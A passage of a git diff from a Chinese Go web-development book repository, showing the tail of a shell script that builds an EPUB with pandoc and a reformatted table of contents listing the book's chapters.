+WORKDIR="$WORKDIR" TMP="$TMP" go run "$WORKDIR/build_new.go" +) + +if [ ! type -P pandoc >/dev/null 2>&1 ]; then + echo "$MSG_INSTALL_PANDOC_FIRST" + exit 0 +fi + +cat <<__METADATA__ > metadata.txt +$MSG_CREATOR +$MSG_DESCRIPTION +$MSG_LANGUAGE +Creative Commons +$MSG_TITLE +__METADATA__ + +mkdir -p $TMP/images +cp -r $WORKDIR/images/* $TMP/images/ +ls [0-9]*.html | xargs $SED -i "s/png?raw=true/png/g" + +echo "工作目录$WORKDIR, 临时目录$TMP" + +pandoc --reference-links -S --toc -f html -t epub --epub-metadata=metadata.txt --epub-cover-image="$WORKDIR/images/cover.png" -o "$WORKDIR/build-web-application-with-golang.epub" `ls [0-9]*.html | sort` + +echo "$MSG_SUCCESSFULLY_GENERATED" diff --git a/zh/preface.md b/zh/preface.md index e8a849e79..55bde31d5 100644 --- a/zh/preface.md +++ b/zh/preface.md @@ -1,96 +1,110 @@ * 1.[Go环境配置](01.0.md) - - 1.1. [安装Go](01.1.md) - - 1.2. [GOPATH 与工作空间](01.2.md) - - 1.3. [Go 命令](01.3.md) - - 1.4. [Go开发工具](01.4.md) - - 1.5. [小结](01.5.md) + - 1.1. [安装Go](01.1.md) + - 1.2. [GOPATH 与工作空间](01.2.md) + - 1.3. [Go 命令](01.3.md) + - 1.4. [Go开发工具](01.4.md) + - 1.5. [小结](01.5.md) + * 2.[Go语言基础](02.0.md) - - 2.1. [你好,Go](02.1.md) - - 2.2. [Go基础](02.2.md) - - 2.3. [流程和函数](02.3.md) - - 2.4. [struct](02.4.md) - - 2.5. [面向对象](02.5.md) - - 2.6. [interface](02.6.md) - - 2.7. [并发](02.7.md) - - 2.8. [小结](02.8.md) + - 2.1. [你好,Go](02.1.md) + - 2.2. [Go基础](02.2.md) + - 2.3. [流程和函数](02.3.md) + - 2.4. [struct](02.4.md) + - 2.5. [面向对象](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [并发](02.7.md) + - 2.8. [小结](02.8.md) + * 3.[Web基础](03.0.md) - - 3.1 [web工作方式](03.1.md) - - 3.2 [Go搭建一个简单的web服务](03.2.md) - - 3.3 [Go如何使得web工作](03.3.md) - - 3.4 [Go的http包详解](03.4.md) - - 3.5 [小结](03.5.md) + - 3.1 [web工作方式](03.1.md) + - 3.2 [Go搭建一个简单的web服务](03.2.md) + - 3.3 [Go如何使得web工作](03.3.md) + - 3.4 [Go的http包详解](03.4.md) + - 3.5 [小结](03.5.md) + * 4.[表单](04.0.md) - - 4.1 [处理表单的输入](04.1.md) - - 4.2 [验证表单的输入](04.2.md) - - 4.3 [预防跨站脚本](04.3.md) - - 4.4 [防止多次递交表单](04.4.md) - - 4.5 [处理文件上传](04.5.md) - - 4.6 [小结](04.6.md) + - 4.1 [处理表单的输入](04.1.md) + - 4.2 [验证表单的输入](04.2.md) + - 4.3 [预防跨站脚本](04.3.md) + - 4.4 [防止多次递交表单](04.4.md) + - 4.5 [处理文件上传](04.5.md) + - 4.6 [小结](04.6.md) + * 5.[访问数据库](05.0.md) - - 5.1 [database/sql接口](05.1.md) - - 5.2 [使用MySQL数据库](05.2.md) - - 5.3 [使用SQLite数据库](05.3.md) - - 5.4 [使用PostgreSQL数据库](05.4.md) - - 5.5 [使用Beego orm库进行ORM开发](05.5.md) - - 5.6 [NOSQL数据库操作](05.6.md) - - 5.7 [小结](05.7.md) + - 5.1 [database/sql接口](05.1.md) + - 5.2 [使用MySQL数据库](05.2.md) + - 5.3 [使用SQLite数据库](05.3.md) + - 5.4 [使用PostgreSQL数据库](05.4.md) + - 5.5 [使用Beego orm库进行ORM开发](05.5.md) + - 5.6 [NOSQL数据库操作](05.6.md) + - 5.7 [小结](05.7.md) + * 6.[session和数据存储](06.0.md) - - 6.1 [session和cookie](06.1.md) - - 6.2 [Go如何使用session](06.2.md) - - 6.3 [session存储](06.3.md) - - 6.4 [预防session劫持](06.4.md) - - 6.5 [小结](06.5.md) + - 6.1 [session和cookie](06.1.md) + - 6.2 [Go如何使用session](06.2.md) + - 6.3 [session存储](06.3.md) + - 6.4 [预防session劫持](06.4.md) + - 6.5 [小结](06.5.md) + * 7.[文本文件处理](07.0.md) - - 7.1 [XML处理](07.1.md) - - 7.2 [JSON处理](07.2.md) - - 7.3 [正则处理](07.3.md) - - 7.4 [模板处理](07.4.md) - - 7.5 [文件操作](07.5.md) - - 7.6 [字符串处理](07.6.md) - - 7.7 [小结](07.7.md) + - 7.1 [XML处理](07.1.md) + - 7.2 [JSON处理](07.2.md) + - 7.3 [正则处理](07.3.md) + - 7.4 [模板处理](07.4.md) + - 7.5 [文件操作](07.5.md) + - 7.6 [字符串处理](07.6.md) + - 7.7 [小结](07.7.md) + * 8.[Web服务](08.0.md) - - 8.1 [Socket编程](08.1.md) - - 8.2 [WebSocket](08.2.md) - - 8.3 [REST](08.3.md) - - 8.4 [RPC](08.4.md) - - 8.5 [小结](08.5.md) + - 8.1 [Socket编程](08.1.md) + - 8.2 [WebSocket](08.2.md) + - 8.3 [REST](08.3.md) + - 8.4 [RPC](08.4.md) + - 8.5 [小结](08.5.md) + * 9.[安全与加密](09.0.md) - - 9.1 [预防CSRF攻击](09.1.md) - - 9.2 [确保输入过滤](09.2.md) - - 9.3 [避免XSS攻击](09.3.md) - - 9.4 [避免SQL注入](09.4.md) - - 9.5 [存储密码](09.5.md) - - 9.6 [加密和解密数据](09.6.md) - - 9.7 [小结](09.7.md) + - 9.1 [预防CSRF攻击](09.1.md) + - 9.2 [确保输入过滤](09.2.md) + - 9.3 [避免XSS攻击](09.3.md) + - 9.4 [避免SQL注入](09.4.md) + - 9.5 [存储密码](09.5.md) + - 9.6 [加密和解密数据](09.6.md) + - 9.7 [小结](09.7.md) + * 10.[国际化和本地化](10.0.md) - - 10.1 [设置默认地区](10.1.md) - - 10.2 [本地化资源](10.2.md) - - 10.3 [国际化站点](10.3.md) - - 10.4 [小结](10.4.md) + - 10.1 [设置默认地区](10.1.md) + - 10.2 [本地化资源](10.2.md) + - 10.3 [国际化站点](10.3.md) + - 10.4 [小结](10.4.md) + * 11.[错误处理,调试和测试](11.0.md) - - 11.1 [错误处理](11.1.md) - - 11.2 [使用GDB调试](11.2.md) - - 11.3 [Go怎么写测试用例](11.3.md) - - 11.4 [小结](11.4.md) + - 11.1 [错误处理](11.1.md) + - 11.2 [使用GDB调试](11.2.md) + - 11.3 [Go怎么写测试用例](11.3.md) + - 11.4 [小结](11.4.md) + * 12.[部署与维护](12.0.md) - - 12.1 [应用日志](12.1.md) - - 12.2 [网站错误处理](12.2.md) - - 12.3 [应用部署](12.3.md) - - 12.4 [备份和恢复](12.4.md) - - 12.5 [小结](12.5.md) + - 12.1 [应用日志](12.1.md) + - 12.2 [网站错误处理](12.2.md) + - 12.3 [应用部署](12.3.md) + - 12.4 [备份和恢复](12.4.md) + - 12.5 [小结](12.5.md) + * 13.[如何设计一个Web框架](13.0.md)  - - 13.1 [项目规划](13.1.md)  - - 13.2 [自定义路由器设计](13.2.md) - - 13.3 [controller设计](13.3.md) - - 13.4 [日志和配置设计](13.4.md) - - 13.5 [实现博客的增删改](13.5.md) - - 13.6 [小结](13.6.md)  + - 13.1 [项目规划](13.1.md)  + - 13.2 [自定义路由器设计](13.2.md) + - 13.3 [controller设计](13.3.md) + - 13.4 [日志和配置设计](13.4.md) + - 13.5 [实现博客的增删改](13.5.md) + - 13.6 [小结](13.6.md)  + * 14.[扩展Web框架](14.0.md) - - 14.1 [静态文件支持](14.1.md) - - 14.2 [Session支持](14.2.md) - - 14.3 [表单支持](14.3.md) - - 14.4 [用户认证](14.4.md) - - 14.5 [多语言支持](14.5.md) - - 14.6 [pprof支持](14.6.md) - - 14.7 [小结](14.7.md) + - 14.1 [静态文件支持](14.1.md) + - 14.2 [Session支持](14.2.md) + - 14.3 [表单支持](14.3.md) + - 14.4 [用户认证](14.4.md) + - 14.5 [多语言支持](14.5.md) + - 14.6 [pprof支持](14.6.md) + - 14.7 [小结](14.7.md) + * 附录A [参考资料](ref.md) \ No newline at end of file